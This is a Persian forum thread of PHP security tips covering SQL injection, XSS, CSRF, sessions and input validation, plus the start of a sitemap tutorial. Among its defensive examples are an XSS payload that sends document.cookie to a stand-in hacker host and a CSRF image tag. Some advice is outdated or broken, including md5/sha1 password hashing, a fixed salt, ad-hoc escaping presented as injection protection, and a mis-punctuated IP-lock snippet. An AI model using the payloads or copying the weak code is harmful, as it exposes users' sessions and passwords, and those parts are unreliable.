1. مهمان گرامی، جهت ارسال پست، دانلود و سایر امکانات ویژه کاربران عضو، ثبت نام کنید.
    بستن اطلاعیه

(--(: ترفندهای PHP :)--!)

شروع موضوع توسط AftabGardoon ‏29/1/18 در انجمن PHP

  1. مدیر بازنشسته☕

    تاریخ عضویت:
    ‏15/8/17
    ارسال ها:
    5,336
    تشکر شده:
    42,669
    امتیاز دستاورد:
    113
    ترفند های امنیتی برای بالا بردن امنیت برنامه PHP (پارت 1)
    PHP زبان برنامه نویسی برای نوشتن برنامه های تحت وب است که برای عموم به نمایش درمیاید. از اساسی ترین ملزومات برنامه های این چنینی نگهداشتن امنیت اطلاعات آن و جلوگیری از دسترسی غیر مجاز است.

    در ادامه نکات و راه حلهایی گفته میشود که به شما کمک میکند برنامه PHP خود را با امنیت بالاتری بنویسید.

    ۱- از تگهای کوتاه برای PHP دوری کنید:
    اگر تگهای کوتاه در سرور شما خاموش باشد، تمامی کد شما به صورتی که هست به مرورگر کاربر ارسال میشود و کاربر میتواند کد PHP شما را مشاهده کند:

    PHP:
    <?
    $a 5;
    ?>
    فقط در صورتی کد بالا به درستی کار میکند که تگهای کوتاه در سرور شما فعال باشد.

    ۲- اعتبار سنجی تمام داده های وارد شده توسط کاربر:تمام داده هایی که کاربر توسط POST یا GET ارسال میکند باید فیلتر شود تا به صورت قابل قبول برای منطق برنامه باشد.
    – بررسی نوع داده ارسال شده
    – بررسی محدوده اعداد ارسال شده
    – بررسی طول متن داده ارسال شده
    – بررسی ایمیل، URL و تاریخ ارسال شده توسط کاربر
    – اطمینان از نبودن کاراکترهای غیر مجاز در داده ارسال شده

    تعدادی تابع برای فیلتر کردن و اعتبار سنجی داده ها در زیر لیست شده است:

    کد:
    htmlentities()
    strip_tags ()
    utf8_decode ()
    htmlspecialchars()
    ctype_digit()
    ctype_alnum()
    stripslashes()
    str_replace()
    ۳- پاکسازی یک عبارت پرس و جو:از وارد کردن مستقیم داده هایی که از یک منبع خارجی گرفته شده است در یک عبارت پرس و جو خودداری کنید.
    یک آسیبپذیری کوچک در SQL برنامه، میتواند کل سیستم را در اختیار یک هکر قرار دهد. ابزاری مانند sqlmap در عرض چند دقیقه میتواند این کار را انجام دهد. حتی اگر فقط تنها یک صفحه توسط تزریق sql آسیب پذیر باشد، کل سیستم به خطر می افتد. برای مثال:

    PHP:
    http://www.site.com/path/page.php?id=5
    اگر id در برنامه شما داخل یک query بدون اینکه پاکسازی شده باشد، استفاده شود، یک دروازه بزرگ برای استفاده هکرها توسط ابزاری مثل sqlmap محسوب میشود. بنابر این در مورد عبارات پرس و جو (SQL Query) دقت کنید و مطمئن شوید همه چیز امن است.

    این یک مثال از کد آسیب پذیر با این روش است:
    PHP:
    $id $_GET['id'];[/COLOR][/RIGHT][/COLOR][/RIGHT][/COLOR][/RIGHT][/COLOR][/RIGHT]
    [
    COLOR=#0000ff]
    [RIGHT][COLOR=#0000ff]
    [RIGHT][COLOR=#0000ff]
    [RIGHT][COLOR=#0000ff]
    [RIGHT]$this->db->query("SELECT * FROM pages WHERE id = '$id'");




    پارامتر id باید قبل ورود به عبارت پرس و جو توسط توابع مناسب مانند ()mysqli_real_escape_string مورد پاکسازی قرار گیرد.

    ۴- XSS (اسکریپت نویسی متقاطع):XSS و یا به صورت کامل Cross Site Scripting به حملاتی گفته میشود که هکر قطعه کدی را به برنامه تزریق میکند که در سمت کاربر ( client-side) اجرا شود.
    PHP:
    search.php?term=ipad
    کد:
    <?php
    
    $term = $_GET['term'];
    
    ?>
    <html>
    <body>
    Search results for : <?php echo $term; ?>
    </body>
    </html>

    کد بالا ورودی را که دریافت میکند به صورت مستقیم در خروجی چاپ میکند.

    فرض کنید url زیر فراخوانی شود:

    کد:
    http://www.original_website.com/search.php?term=<script>alert('hi');</script>
    تگ اسکریپت (<script>) در خروجی چاپ میشود و کد داخل تگ اسکریپت اجرا میشود.

    نسخه های اخیر گوگل کروم از اجرای این کدها جلوگیری میکنند و پیام: “Refused to execute a JavaScript script. Source code of script found within request.” را نمایش میدهند.
    این دسته از تزریقهای کد میتواند در سرقت اطلاعلت کوکی کاربران کمک بزرگی به هکرها نماید. ابتدا هکر اسکریپت کامل خود را به صورت زیر تزریق مینماید:

    PHP:
    <script type=text/javascript src="https://www.hacker_website.com/xss.js"></script>

    الان xss.js حاوی کدی است که از طریق متغیر document.cookie میتواند اطلاعات کوکی را به وبسایت هکر منتقل کند:
    PHP:
    document.location 'http://www.hacker_website.com/steal.php?cookies=' encodeURI(document.cookie);

    این فقط یک مثال ساده از نحوه کار این نوع حملات بود. از صفحه http://ha.ckers.org/xss.html برای آشنایی با انواع تکنیکهای هک، بازدیدکنید.

    سرقت کوکی تنها کاری نیست که میتوان با استفاده از XSS انجام داد. میتوان برای اجرای یک url در وبسایت مورد نظر به کار رود:

    PHP:
    <script type=text/javascript src="https://www.original_website.com/delete_content.php"></script>
    این صفحه delete_content.php را اجرا خواهد کرد بدون اینکه کاربر از کاری که در حال انجام است آگاه باشد. ابتدا هکر یک url آلوده آماده میکند و سپس زمانی که کاربر هدف یا قربانی بر روی آن کلیک میکند حمله XSS انجام میشود.

    حال چگونه این مشکل رو برطرف کنیم؟ ساده است. کافی تمامی کاراکترهایی که از کاربر دریافت کرده اید و میخواهد آن را چاپ کنید با استفاده از htmlentities پاکسازی کنید.


    PHP:
    <?php

    $term 
    $_GET['term'];

    ?>
    <html>
    <body>
    Search results for : <?php echo htmlentities($term); ?>
    </body>
    </html>

    حالا هر چیزی که از term$ برای چاپ کردن بیرون بیاد، فاقد هرگونه کد html هست.
    کدهایی مانند strip_tags و htmlspecialchars نیز میتوانند عملیات پاکسازی را انجام دهند.

    استفاده از session.cookie_httponly
    این تنظیم php.ini دسترسی به کوکی ها را از طریق جاوا اسکریپت غیرفعال میکند و از اینرو باعث حفاظت خودکار در مقابل حملات XSS میشود. این یک راه حل کامل نیست و بستگی به مرورگر کاربر دارد که با این گزینه سازگاری دارد یا خیر.

    ۵- سعی کنید همیشه کد php خود را با فرمت php. ذخیره کنید:برای مثال config.inc به صورت زیر است:

    PHP:
    <?php

    /*
    Database connection details
    */

    $db_host 'localhost';
    $db_user 'project';
    $db_pass 'secret';
    $db_name 'project_ecommerce';

    حالا اگر این فایل از طریق مرورگر دیده شود محتویات فایل به صورتی که هست نمایش داده میشود.
    بنابراین سعی کنید هیچ وقت کد php خود را به غیر از فرمت php. ذخیره نکنید.
     
    آخرین ویرایش: ‏30/1/18
    Roshana.، Sheida، DaniyaL و یک نفر دیگر از این ارسال تشکر کرده اند.
  2. مدیر بازنشسته☕

    تاریخ عضویت:
    ‏15/8/17
    ارسال ها:
    5,336
    تشکر شده:
    42,669
    امتیاز دستاورد:
    113
    ترفند های امنیتی برای بالا بردن امنیت برنامه PHP (پارت 2)
    ۶- به رمزهای عبور نمک بزنید! و از رمزنگاری های قدرتمند استفاده کنید:MD5 یکی از محبوب ترین الگوریتمهای رمزنگاری مورد استفاده توسط برنامه نویسان php است. تابع md5 داده رمزنگاری شده را به درستی برمیگرداند
    PHP:
    $hash md5($password);
    هرچند که، تابع md5 روش کاملا مطمئنی برای رمزنگاری نیست. اکثر کاربران تمایل دارند از رمزهای عبور ۵،۶ کاراکتری استفاده کنند، رمزهای عبور به این شکل که از پیچیدگی مناسبی برخوردار نیستند، توسط یک حمله brute-force (جستجوی فراگیر) ساده نیز آسیب پذیر خواهند بود. حتی ممکن است اصلا نیازی به حمله brute-force نباشد و فقط یک جستجوی ساده ی عبارت رمزنگاری شده (hash) در گوگل، رمزعبور را در نتایج وبسایتهای تخریبگر رمزعبور نشان دهد! و شاید بازهم ساده تر از این باشد. بنابراین، این کافی نیست که فقط به کابر بگویید رمزعبور پیچیده تر انتخاب کند.

    برای اینکه این مشکل حل شود، برنامه نویسها از نمک (Salt) استفاده میکنند. منظور از نمک زدن به پسوردها، اضافه کردن یک عبارت نا مفهوم به پسوردها قبل از رمزنگاری آنها است که به صوت تصادفی تولید شده، و تکرار همین کار زمان مقایسه پسورد وارد شده توسط کاربر، با پسورد رمزنگاری شده ی موجود در پایگاه داده است.

    PHP:
    $salt 'SUPER_SALTY';[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]$hash md5($password $salt);

    اضافه کردن نمک (عبارت اضافی) به رمز عبور، طول آن را افزایش داده و باعث پیچیدگی آن میشود . بنابراین زمان مورد نیاز برای یافتن رمز با روش حمله جستجوی فراگیر، بسیار افزایش میابد و در واقع ناممکن میشود.

    همراه با نمکپاشی، بهتر است از الگوریتمهای رمزنگاری طولانی تر (ولی کندتر) مانند sha1 , sha2 و … استفاده کنید. این نوع رمز نگاری چون زمان زیادی میبرد، برای مقابله با حملات جستجوی فراگیر مناسب است.

    ** پیوست :

    یک تابع دیگر در php برای این منظور تابع crypt میباشد:

    PHP:
    //string crypt ( string $str [, string $salt ] )[/COLOR][/LEFT]
    [COLOR=#0000ff]
    [LEFT]crypt('FoadTahmasebi''$2a$07$usesomesillystringforsalt$')

    روش برای رمزنگاری:

    PHP:
    $user->password sha1(md5($password);
    نمونه افزودن نمک که در وردپرس بکار رفته
    PHP:
    https://api.wordpress.org/secret-key/1.1/salt/
    ۷- محافظت در برابر درخواستهای جعلی (CSRF):
    CSRF مخفف عبارت Cross Site Request Forgery به معنی درخواستهای جعلی از سایت دیگر میباشد. این نوع آسیب پذیری نامشخص ترین نوع آسیب پذیری است چرا که اصلا به صورت یک مشکل به نظر نمیرسد. بیایید url ای را در نظر بگیریم که در پایگاه داده تغییر ایجاد میکند:

    PHP:
    update_info.php?id=123[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]OR
    delete_record.php?id=123

    مشکل url بالا در این است که اگر هکر همچین url ای را با دسترسی کاربر بدون اطلاع وی بتواند اجرا کند چه اتفاقی می افتد؟

    هکر لینک بالا را در لینک مسیر یک تصویر در سورس کد صفحه وب مربوط به خود (hackersite.com/interesting.html) قرار میدهد و از کاربر میخواهد وبسایت او را باز کند:

    PHP:
    <img src="https://example.org/delete_record.php?id=123" />
    حالا چون کاربر در برنامه شما لاگین نموده است (logged in) پس از باز نمودن صفحه مربوط به هکر url بالا هنگام لود تصویر فراخوانی میشود. و این یک درخواست قانونی است.

    بنابراین در بحث فنی، مشکل اینجاست که سرور نمیتواند تشخیص دهد که کاربر با میل و علاقه خود این url را فراخوانی کرده یا خیر. از اینرو باید از مکانیسم خاصی استفاده کرد.

    ساده ترین راه این است که، زمان انجام عملیات های مهم بر روی پایگاه داده، دوباره از کابر تاییدیه بگیریم.

    راه حل قوی تر و عمومی تر، فعال کردن سرویس جهت شناسایی هر درخواست با یک کلید است. فرم ها میتوانند دارای فیلد مخفی حاوی یک عبارت تصادفی باشند که در session کاربر ذخیره شود و برای تشخیص ارسال فرم بکار روند. کد صفحه مربوط به فرم:

    PHP:
    <?php[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]session_start();
    $token md5(uniqid(rand(), TRUE));
    $_SESSION['token'] = $token;
    ?>

    <form action="delete_record.php" method="post" >
    <input type="hidden" name="token" value="<?php echo $token ?>" />

    <!-- Reminder of form -->
    </form>

    کد مربوط به اسکریپت پردازشگر:

    PHP:
    if (isset($_SESSION['token']) [/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]&& isset($_POST['token'])
    && 
    $_POST['token'] == $_SESSION['token']){
    // Token is valid, continue processing form data
    }

    حالا اگر هکر بخواهد درخواستی را که حاوی مقدار کلید نمیباشد از طرف کاربر واقعی اجرا کند، حمله CSRF او با شکست مواجه میشود.



    ۸- بازسازی Session ID :session id را به صورت زیر میتوان بازسازی کرد:

    PHP:
    session_regenerate_id(); //changes only session id[/COLOR][/LEFT]
    [COLOR=#0000ff]
    [LEFT]//or
    session_regenerate_id(true);

    session id حداقل باید در موارد زیر بازسازی شود:
    – زمانی که کاربر وارد میشود (Log in)
    – زمانی که کاربر خارج میشود (Log out)
    – زمانی که کاربر وارد محیط مدیریتی میشود و یا سطح دسترسی کاربر تغییر میکند

    PHP:
    if(valid_username() and valid_password())[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]{
        
    $_SESSION['logged'] = true;
        
    $_SESSION['username'] = $username;
    }

    شاید بخواهید session id را هر ۱۵ دقیقه یا از هر ۱۰۰ درخواست تغییر دهید:

    PHP:
    session_start();[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]
    //increment and check
    if ( ++$_SESSION['regenerated_count'] > 100 )
    {
        
    //reset and regenerate
        
    $_SESSION['regenerated_count'] = 0;
        
    session_regenerate_id(true);
    }


    ۹- قفل کردن عامل کاربری در طول یک نشست (session):این روش میتواند از ربودن (hijacking) نشست جلوگیری کند. این روش به این صورت است که تست میکنیم تا ببینیم آیا عامل کاربری (user agent) کاربر تغییر کرده است یا خیر. اگر تغییر کرده باشد، خارج شده (log out) و از کاربر درخواست ورود (log in) میکنیم:

    PHP:
    //Function to check if user is logged in or not[/COLOR][/LEFT]
    [COLOR=#0000ff]
    [LEFT]function check_login_status()
    {
        if(
    $_SESSION['logged'] == true and $_SESSION['old_user_agent'] == $_SERVER['HTTP_USER_AGENT'])
        {
            return 
    true;
        }

        return 
    false;
    }

    if(!
    check_login_status())
    {
        
    logout();
    }

    //Rest of the login protected page

    و یا بهنر از آن:
    PHP:
    session_start(); [/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]
    $chk = @md5$_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT']);
    if (empty(
    $_SESSION))
    {
        
    $_SESSION['key'] = $chk;
    }
    else if (
    $_SESSION['key'] != $chk)
    {
        
    session_destroy(); 
    }


    قفل IP روی session :
    اگر امنیت بیشتر و قوی تری مورد نیاز است، میتوان آدرس IP کاربر را بر روی session او قفل کرد:

    PHP:
    session_start();[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]
    $chk = @md5$_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT'] . $_SERVER['REMOTE_ADDR']);

    if (empty(
    $_SESSION));
    {
        
    $_SESSION['key'] = $chk;
    }
    else if (
    $_SESSION['key'] != $chk);
    {
        
    session_destroy();
    }

    ۱۰- ذخیره نشستها (sessions) در پایگاه داده:
    به صورت پیشفرض نشستها در فایل ذخیره میشود. تعداد زیادی برنامه وب بر روی میزبانهای اشتراکی (shared hosting) میزبانی میشوند که فایلهای نشستهای آنها در شاخه tmp/ ذخیره میشود. اگر این فایلها رمزنگاری نشده باشند، احتمالا برای کاربران دیگر قابل مشاهده خواهد بود:

    PHP:
    userName|s:5:"ngood";accountNumber|s:9:"123456789";
    برای جلوگیری از مشکل، راه حلهای متعددی وجود دارد. یکی از این روشها استفاده از رمزنگاری اطلاعات نشستها با suhosin است.

    ذخیره نشستها در پایگاه داده. در صورت ذخیره نشستها در پایگاه داده، اطلاعات نشستها دیگر همانند فایلها قابل رویت نخواهد بود و فقط برنامه ای که آن را استفاده میکند به آن دسترسی خواهد داشت.
     
    Roshana.، Sheida، DaniyaL و یک نفر دیگر از این ارسال تشکر کرده اند.
  3. مدیر بازنشسته☕

    تاریخ عضویت:
    ‏15/8/17
    ارسال ها:
    5,336
    تشکر شده:
    42,669
    امتیاز دستاورد:
    113
    ترفند های امنیتی برای بالا بردن امنیت برنامه PHP (پارت 3)
    ۱۱- یک نشست برای هر کاربر:
    اگر لازم است، مطمئن شوید که یک کاربر از دو محل وارد برنامه نشده باشد. اگر از محل دوم وارد برنامه شد، کاربر محل اول به صورت خودکار از برنامه خارج شود. این کار برای وبسایتهایی که اطلاعات محرمانه ردوبدل میکنند مهم است. مانند فروشگاهها.

    اگر اطلاعات نشت را در پایگاه داده ذخیره کنید،پیاده سازی این روش کار آسانی است. فقط کافی است اطلاعات ورود قبلی کاربر را در هر ورود از پایگاه داده حذف کنید.



    ۱۲- تعیین مناسب مجوزهای دستری برای کاربر پایگاه داده:
    اگر یک مشکل امنیتی کوچک در مقابل حمله تزریق کد (sql injection) در وبسایت شما وجود داشته باشد و در مجوزهای دسترسی کاربر پایگاه داده (DB USER) مجوز نوشتن (write) بر روی فایلهای سیستمی وجود داشته باشد، یک فرصت عالی برای هکرهاست تا با یک نرم افزار ساده مثل sqlmap کل وبسایت شما را زیر و رو کنند. بنابراین در هنگام تعیین مجوزهای دسترسی به کاربر پایگاه داده توجه کافی بکنید.



    ۱۳- لیست کردن محتویات دایرکتوریها را غیر فعال کنید:
    روش httaccess
    نوشتن کد زیر در فایل htaccess. لیست کردن دایرکتوریها (directory listing) را غیر فعال میکند:

    PHP:
    Options -Indexes
    استفاده از فایل index.html
    اگر سرور شما اجازه استفاده از روش بالا را نمیدهد. راحت ترین راه قرار دادن یک فایل index.html خالی در تمام دارکتوریهاست. در این صورت با باز شدن دایرکتوری در مرورگر، صفحه index.php اجرا خواهد شد.



    ۱۴- فایلها و منابع مهم را خارج از دایرکتوری WEB_ROOT نگهداری کنید:
    در حالت عادی، زمانی که برنامه شما روی هاست هست، فایلها در پوشه زیر ذخیره میشود:

    PHP:
    /var/www/[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]OR
    /
    home/username/www/

    تمام محتویاتی که برای دسترسی از طریق url لازم است در پوشه www نگهداری شود، و بقیه فیلها به خارج از آن پوشه منتقل شوند تا از طریق وب قابل دسترس نباشند. مثلا فایلهایی که شامل اطلاعات برقراری ارتباط با پایگاه داده است یا عکسها و فایلهای دیگر:

    PHP:
    فایلهای PHP که از طریق مرورگر کاربر فراخوانی میشود در :[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]/var/www/
    و بقیه فایلها در:
    /var/
    outside/

    با این کار، دیگر فایلها نمایش داده نمیشود حتی اگر حالت “لیست محتویات دارکتوریها” هم فعال باشد.



    ۱۵- display_errors را در فایل php.ini غیر فعال کنید:
    اصلا در غیر فعال کردن نمایش خطاها (display_errors) از طریق htaccess و یا ini_set و یا هر روش دیگری صبر نکنید (همین الان این کار را انجام دهید).

    خطاها قبل از اجرای کامل اسکریپت اتفاق می افتند و از هیچ فرمانی تبعیت نمیکنند، از این رو هنگام ایجاد خطا اطلاعات کاملا درستی را نمایش میدهند. بنابراین باید از نمایش خطاها در محیط نشر جلوگیری کرد.



    ۱۶- تعیین سطح دسترسی درست برای دایرکتوریها در محیط نشر:
    باتوجه به نیاز برنامه به خواندن و نوشتن یک فایل، باید سطح دسترسی دایرکتوریها را بدرستی تعیین کرد. برای هر کاری دایرکتوری جداگانه درست کنید و سطح دسترسی آن را تعیین نمایید. مثلا دایرکتوری temp یا دایرکتوری cache و …

    برای دایرکتوریهای مهم مانند فایلهای هسته ای (core files) برنامه، یا فایلهای کتابخانه ای (library) باید اطمینان حاصل کنید که قابل نوشتن نباشد.
     
    Roshana.، DaniyaL و Sheida از این ارسال تشکر کرده اند.
  4. مدیر بازنشسته☕

    تاریخ عضویت:
    ‏15/8/17
    ارسال ها:
    5,336
    تشکر شده:
    42,669
    امتیاز دستاورد:
    113
    ۴ – اعتبار سنجی و پاکسازی اعداد و حروف در PHP:
    اعتبار سنجی اعداد و حروف:تابع زیر فرم را بررسی میکند تا فقط حروف و اعداد به کار رفته باشد:
    PHP:
    function fnValidateAlphanumeric($string)[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]{
            return 
    ctype_alnum ($string);
    }

    پاکسازی حروف و اعداد:
    با تابع زیر میتوان داده گرفته شده از فرم را پاکسازی کرد به طوری که فقط حروف و اعداد باقی بمانند، به این صورت که کارکترهایی مانند (! و @ و ؟ و…) حذف میشوند:

    PHP:
    function fnSanitizeAlphanumeric($string)[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]{
            return 
    preg_replace('/[^a-zA-Z0-9]/'''$string);
    }

    ۵ – اعتبار سنجی و پاکسازی و بررسی وجود URL در PHP
    اعتبار سنجی URL:تابع زیر از صحیح بودن فرمت آدرس URL اطمینان حاصل میکند:
    PHP:
    function fnValidateUrl($url){[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]return preg_match('/^(http(s?):\/\/|ftp:\/\/{1})((\w+\.){1,})\w{2,}$/i'$url);
    }

    و در PHP 5.2 به بالا به صورت:
    PHP:
    function fnValidateUrl($url)[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]{
      return 
    filter_var($urlFILTER_VALIDATE_URL);
    }

    پاکسازی URL:در PHP 5.2 به بالا به صورت زیر است:

    PHP:
    function fnSanitizeUrl($url)[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]{
      return 
    filter_var($urlFILTER_SANITIZE_URL);
    }

    بررسی وجود URL:با تابع زیر میتوانید از وجود یک url اطمینان حاصل کنید:
    PHP:
    function url_exist($url)
    {
            
    $url = @parse_url($url);

            if (!
    $url)
            {
                    return 
    false;
            }

            
    $url array_map('trim'$url);
            
    $url['port'] = (!isset($url['port'])) ? 80 : (int)$url['port'];
            
    $path = (isset($url['path'])) ? $url['path'] : '';

            if (
    $path == '')
            {
                    
    $path '/';
            }

            
    $path .= (isset($url['query'])) ? '?$url[query]' '';

            if (isset(
    $url['host']) AND $url['host'] != @gethostbyname($url['host']))
            {
                    if (
    PHP_VERSION &gt;= 5)
                    {
                            
    $headers = @get_headers('$url[scheme]://$url[host]:$url[port]$path');
                    }
                    else
                    {
                            
    $fp fsockopen($url['host'], $url['port'], $errno$errstr30);

                            if (!
    $fp)
                            {
                                    return 
    false;
                            }
                            
    fputs($fp'HEAD $path HTTP/1.1\r\nHost: $url[host]\r\n\r\n');
                            
    $headers fread($fp4096);
                            
    fclose($fp);
                    }
                    
    $headers = (is_array($headers)) ? implode('\n'$headers) : $headers;
                    return (bool)
    preg_match('#^HTTP/.*\s+[(200|301|302)]+\s#i'$headers);
            }
            return 
    false;
    }
    بررسی وجود عکس در URL:با تابع زیر میتونید متوجه بشوید که در Url گرفته شده عکسی وجود دارد یا خیر:

    PHP:
    function image_exist($url) {[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]if(@file_get_contents($url,0,NULL,0,1)){return 1;}else{ return 0;}
    }


    ۶ – اعتبار سنجی آدرس IP در PHP
    تابع زیر آدرس IP خاصی را بررسی میکند:
    PHP:
    function fnValidateIP($IP){
            return 
    preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/',$IP)
    }
    و در PHP 5.2 و بالاتر:
    PHP:
    function fnValidateIP($ip)
    {
      return 
    filter_var($ipFILTER_VALIDATE_IP);
    }
    ۷ – اعتبار سنجی نام کاربری در PHP:
    قبل از مقایسه نام کاربری در پایگاه داده از این اعتبار سنجی برای کمتر کردن فشار بر روی پایگاه داده استفاده میشود:

    PHP:
    function fnValidateUsername($username){[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]        #alphabet, digit, @, _ and . are allow. Minimum 6 character. Maximum 50 characters (email address may be more)
            
    return preg_match('/^[a-zA-Z\d_@.]{6,50}$/i'$username);
    }

    ۸ – اعتبار سنجی امنیت رمز عبور در PHP
    برای بررسی امنیت رمزعبور داده شده توسط کاربر میتوانید از تابع زیر استفاده کنید که بررسی میکند تا رمز عبور حداقل ۸ کاراکتر تشکیل شود واز حروف بزرگ و کوچک و اعداد نیز استفاده کند.
    PHP:
    function fnValidatePassword($password){[/COLOR][/LEFT]
    [
    COLOR=#0000ff]
    [LEFT]        #must contain 8 characters, 1 uppercase, 1 lowercase and 1 number
            
    return preg_match('/^(?=^.{8,}$)((?=.*[A-Za-z0-9])(?=.*[A-Z])(?=.*[a-z]))^.*$/'$password);
    }

    ۹ – اعتبار سنجی تاریخ در PHP
    اعتبار سنجی تاریخ با فرمت “MM-DD-YYYY” یا “MM-DD-YY” از ۰۰۰۰ تا ۹۹۹۹ :
    PHP:
    function fnValidateDate($date){
            
    #۰۵/۱۲/۲۱۰۹
            #۰۵-۱۲-۰۰۰۹
            #۰۵٫۱۲٫۹۹۰۹
            #۰۵٫۱۲٫۹۹
            
    return preg_match('/^((0?[1-9]|1[012])[- /.](0?[1-9]|[12][0-9]|3[01])[- /.][0-9]?[0-9]?[0-9]{2})*$/'$date);
    }
    اعتبار سنجی تاریخ با فرمت “YYYY-DD-MM” یا “YY-MM-DD” از ۰۰۰۰ تا ۹۹۹۹ :
    PHP:
    function fnValidateDate($date){
            
    #۲۰۰۹/۱۲/۱۱
            #۲۰۰۹-۱۲-۱۱
            #۲۰۰۹٫۱۲٫۱۱
            #۰۹٫۱۲٫۱۱
            
    return preg_match('#^([0-9]?[0-9]?[0-9]{2}[- /.](0?[1-9]|1[012])[- /.](0?[1-9]|[12][0-9]|3[01]))*$#'', $date);
    }
    ۱۰ – اعتبار سنجی کدپستی برای ایران در PHP
    با تابع زیر میتوانید از صحیح بودن قالب بندی کد پستی اطمینان حاصل کنید:
    PHP:
    function fnValidateIRPostal($postalcode){
            
    #eg. 56789-01234
            
    return preg_match('/^([0-9]{5})(-[0-9]{5})?$/i',$postalcode);
    }
    ۱۱ – ایمن سازی و پاکسازی Query و Data قبل از ارسال به پایگاه داده در PHP
    تابع زیر داده های ما را برای جلوگیری از Sql Injection پاکسازی میکند:
    PHP:
    function _clean($str){
    return 
    is_array($str) ? array_map('_clean'$str) : str_replace('\\''\\\\'htmlspecialchars((get_magic_quotes_gpc() ? stripslashes($str) : $str), ENT_QUOTES));
    }

    //usage call it somewhere in beginning of your script
    _clean($_POST);
    _clean($_GET);
    _clean($_REQUEST);// and so on..

    و این تابع از حملات XSS و JS و Sql Injection با پاک کردن تگها جلوگیری میکند:
    PHP:
    function _clean($str){
    return 
    is_array($str) ? array_map('_clean'$str) : str_replace('\\''\\\\'strip_tags(trim(htmlspecialchars((get_magic_quotes_gpc() ? stripslashes($str) : $str), ENT_QUOTES))));
    }

    //usage call it somewhere in beginning of your script
    _clean($_POST);
    _clean($_GET);
    _clean($_REQUEST);// and so on..
     
    Roshana. و DaniyaL از این پست تشکر کرده اند.
  5. مدیر بازنشسته☕

    تاریخ عضویت:
    ‏15/8/17
    ارسال ها:
    5,336
    تشکر شده:
    42,669
    امتیاز دستاورد:
    113
    آموزش ساخت نقشه سایت برای موتورهای جستجو با PHP و MySQL
    نقشه سایت (Sitemap) یک سند xml میباشد که لینک های مطالب شما را با آخرین تاریخ ویرایش و اهمیت لینک و … فهرست میکند. این فایل در شاخه اصلی وبسایت (ROOT) با نام sitemap.xml ذخیره میشود و هدف از آن آگاه سازی سریع موتورهای جستجو برای فهرست کردن این لینکها در نتایج جستجویشان است. در این مطلب نحوه ساختن نقشه سایت به وسیله php و mysql را توضیح خواهیم داد.

    نقشه سایت چیست؟
    راهی برای معرفی صفحات سایت شما به موتورهای جستجو است. نقشه سایت که xml Sitemap نام دارد معمولا با نام Sitemap (با S بزرگ) به کار برده میشود، که تمام صفحاتی را که میخواهید قابل دسترس باشد را لیست میکند. ایجاد و ثبت نقشه سایت در موتورهای جستجو به شما این اطمینان را میدهد که تمام صفحات سایت شما در موتورهای جستجو لیست شود. همچنین شما میتوانید از این طریق صفحاتی را که فکر میکنید پیدا کردن آن برای موتورهای جستجو مشکل خواهد بود را نیز معرفی کنید.

    نقشه سایت زمانی با اهمیت تر میشود که:

    • سایت شما از مطالب داینامیک استفاده کند.
    • سایت شما دارای صفحاتی میباشد که به راحتی توسط روبات موتورهای جستجو قابل دسترسی نیست. مانند صفحاتی که محتویات آن با تکنولوژی Ajax بارگذاری میشود.
    • سایت شما جدید است و به خوبی در وب لینک دهی نشده است.
    • سایت شما دارای محتویات حجیم چند صفحه ای است و به خوبی به یک دیگر لینک دهی نشده است
    گوگل فهرست کردن تمام صفحات شما را تضمین نمیکند و اظهار میکند که نقشه سایت فقط یک راهنما برای فهرست کردن درست صفحه های وب است.
    گوگل از پروتکل استاندارد نقشه سایت که توسط sitemaps.org طراحی شده است استفاده میکند و در حالت کلی نقشه سایت ساخته شده برای تمام موتورهای جستجوی استاندارد قابل فهم است.

    فرمت فایل:

    PHP:
    <?xml version="1.0" encoding="utf-8"?>[/COLOR][/LEFT][/COLOR][/LEFT]
    [COLOR=#0000ff]
    [LEFT][COLOR=#0000ff]
    [LEFT]<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
            <url>
                    <loc>http://example.com/</loc>
                    <lastmod>2006-11-18</lastmod>
                    <changefreq>daily</changefreq>
                    <priority>0.8</priority>
            </url>
    </urlset>


    ایجاد فایل نقشه سایت توسط PHP:
    برای ساختن نقشه سایت نیاز به ایجاد اسکلت اولیه آن دایم. برای این کار یک فایل با نام sitemap.php ایجاد کرده و کد زیر را در آن ذخیره کنید:

    PHP:
    $host "localhost"// host name[/COLOR][/LEFT][/COLOR][/LEFT]
    [COLOR=#0000ff]
    [LEFT][COLOR=#0000ff]
    [LEFT]$user "user"// database user name
    $pass "password"// database password
    $database "dbname"// database name
    // connecting to database
    $connect = @mysql_connect($host,$user,$pass)or die (@mysql_error());
    // selecting database
    @mysql_select_db($database,$connect) or die (@mysql_error());


    ایجاد کدهای xml:
    کد زیر را در فایل sitemap.xml بعد از کدهای اتصال به پایگاه داده ذخیره کنید:

    PHP:
    // default header(don't delete)[/COLOR][/LEFT][/COLOR][/LEFT]
    [COLOR=#0000ff]
    [LEFT][COLOR=#0000ff]
    [LEFT]header("Content-Type: text/xml;charset=iso-8859-1");
